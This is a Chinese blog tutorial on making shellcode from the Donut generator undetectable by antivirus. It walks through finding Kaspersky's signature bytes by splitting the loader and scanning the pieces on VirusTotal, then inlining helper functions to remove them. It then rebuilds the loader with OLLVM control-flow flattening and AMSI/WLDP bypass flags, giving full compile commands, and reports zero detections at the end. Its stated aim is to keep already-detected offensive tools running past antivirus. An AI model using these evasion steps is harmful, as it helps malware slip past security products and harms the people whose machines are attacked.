什么是Donut
TheWover的Donut项目: https://github.com/TheWover/donut
其可将VBScript, JScript, EXE, DLL, .NET文件转为位置无关的shellcode。
其可将轻松将现有被杀的工具转换为shellcode,再通过shellcode加载技术、白+黑技术绕过AV。
为了免杀其shellcode,需要先分析生成流程和组成部分。
然而Donut生成的shellcode已经被以Kaspersky为首的各类杀软检测到
特别的有些杀软会检测内存中Donut的shellcode
对于frp这种需要一直运行的工具而言,运行一段时间后会因为内存检测而被杀掉进程
为了搞清楚杀软查杀特征,首先要做的就是分析Donut的shellcode。
shellcode生成流程和组成
代码见: https://github.com/TheWover/donut/blob/v1.0/donut.c#L1226
根据其代码,shellcode主要由3部分组成:
LOADER
其中LOADER是一个函数,通过传入参数DONUT_INSTANCE来加载dotnet、pe、script等
LOADER入口为: HANDLE DonutLoader(PDONUT_INSTANCE inst)
LOADER中分别实现了以下类型的内存加载
自定位汇编
1 |
CALL label |
自定位汇编的作用:
HANDLE DonutLoader(PDONUT_INSTANCE inst)
LOADER的免杀
以x86为例,LOADER的数据来自: loader_exe_x86.h
二分法定位查杀特征
将LOADER保存为
data.bin
,通过二分法,利用
https://www.virustotal.com
扫描查杀结果
通过测试说明特征存在于
data2222222.bin
文件中,其内容hex如下
1 |
8B 54 24 0C 8B 44 24 04 56 8B F0 85 D2 74 13 57 |
查杀结果: 链接
可以看到
Kaspersky
和
ZoneAlarm by Check Point
会报
HEUR:Trojan.Win64.Donut.a
进一步分析,对应Donut的源代码在
clib.c
中的
Memcpy
Memset
_strcmp
三个函数
通过inline字免杀Loader
由于杀软检测上述特征序列,所以将这三个函数通过inline方式嵌入调用者函数中
inline嵌入后,LOADER将不会有上述特征序列
修改代码
1 |
inline void *Memset (void *ptr, int value, uint32_t num) |
修改
loader.c
,直接包含
clib.c
1 |
|
重新生成
loader_exe_x86.h
安装VS2022,打开
x86 Native Tools Command Prompt for VS 2022
,进入Donut源码目录
1 |
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c |
命令对应说明
loader_exe_x86.h
再次将LOADER保存为文件,查杀结果为0/58,查杀报告 链接
至此LOADER的免杀就完成,但重新编译
donut.exe
后,再次生成shellcode查杀还有问题
Kaspersky
和
ZoneAlarm by Check Point
会报
HEUR:Trojan.Win64.Donut.b
特征名称发生了变化,从
HEUR:Trojan.Win64.Donut.a
变成了
HEUR:Trojan.Win64.Donut.b
新特征的免杀
分析新特征
1 |
import re |
测试结果如下:
test.bin LOADER test1.bin 自定位+nop+LOADER test2.bin nop+nop+LOADER test3.bin 自定位+nop*100+LOADER test4.bin nop+nop*100+LOADER test5.bin nop+nop 1024 1024+LOADER test6.bin nop+nop 1024 1024+LOADER通过测试结果可以得到以下结论
新特征免杀思路
-
强行将data数据(DONUT_INSTANCE结构)扩大到1M
- 将会增加shellcode的体积,另外如果杀软更新特征检测距离还是会被杀
-
修改自定位的汇编指令
- x86下只能通过call来自定位,即使变形,杀软也可以根据变形增加新的检测特征
-
定位组合特征到底什么,再进行修改
- 如前文二分法,时间成本高,需要大量测试
有没有办法一劳永逸的解决组合特征问题?
考虑到新特征是自定位+LOADER组合,在不修改自定位的情况下,只能想办法抹除LOADER的特征
在有源码的情况,想到可以考虑使用OLLVM混淆LOADER
OLLVM混淆LOADER
详见: https://github.com/obfuscator-llvm/obfuscator/wiki/Control-Flow-Flattening
流程平坦特性通过
scrambling_key
随机种子来平坦代码块,这意味每次编译将产生不同的LOADER,在下次杀软检测后只需要重新编译一次LOADER即可。OLLVM重新编译LOADER
llvm不支持
__stosb
宏,需要修改clib.c
的Memset
函数1
2
3
4
5
6
7
8inline void *Memset (void *ptr, int value, uint32_t num) {
unsigned char *p = (unsigned char*)ptr;
while(num--) {
*p = (unsigned char)value;
p++;
}
return ptr;
}为了方便的使用ollvm,我使用了 https://github.com/wwh1004/ollvm-16/releases ,作者将llvm升级到16,并预编译了clang-cl.exe
将clang-cl.exe放入Donut源码目录,安装VS2022,打开
x86 Native Tools Command Prompt for VS 2022
,进入Donut源码目录生成
loader_exe_x86.h
1
2
3.\clang-cl.exe --target=i686-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj
.\exe2h.exe .\loader.exe此时用IDA打开loader.exe,可以看到如下图所示的流程图。
生成
loader_exe_x64.h
注意需要从VS目录复制chkstk.obj到Donut源码目录
1
2
3.\clang-cl.exe --target=x86_64-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj chkstk.obj
.\exe2h.exe .\loader.exe生成包含OLLVM版LOADER的
donut.exe
1
2rc include/donut.rc
.\clang-cl.exe --target=i686-w64-windows-msvc -Zp8 -nologo -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib include/donut.res再次使用
donut.exe
生成shellcode,已经没有任何杀软查杀了项目地址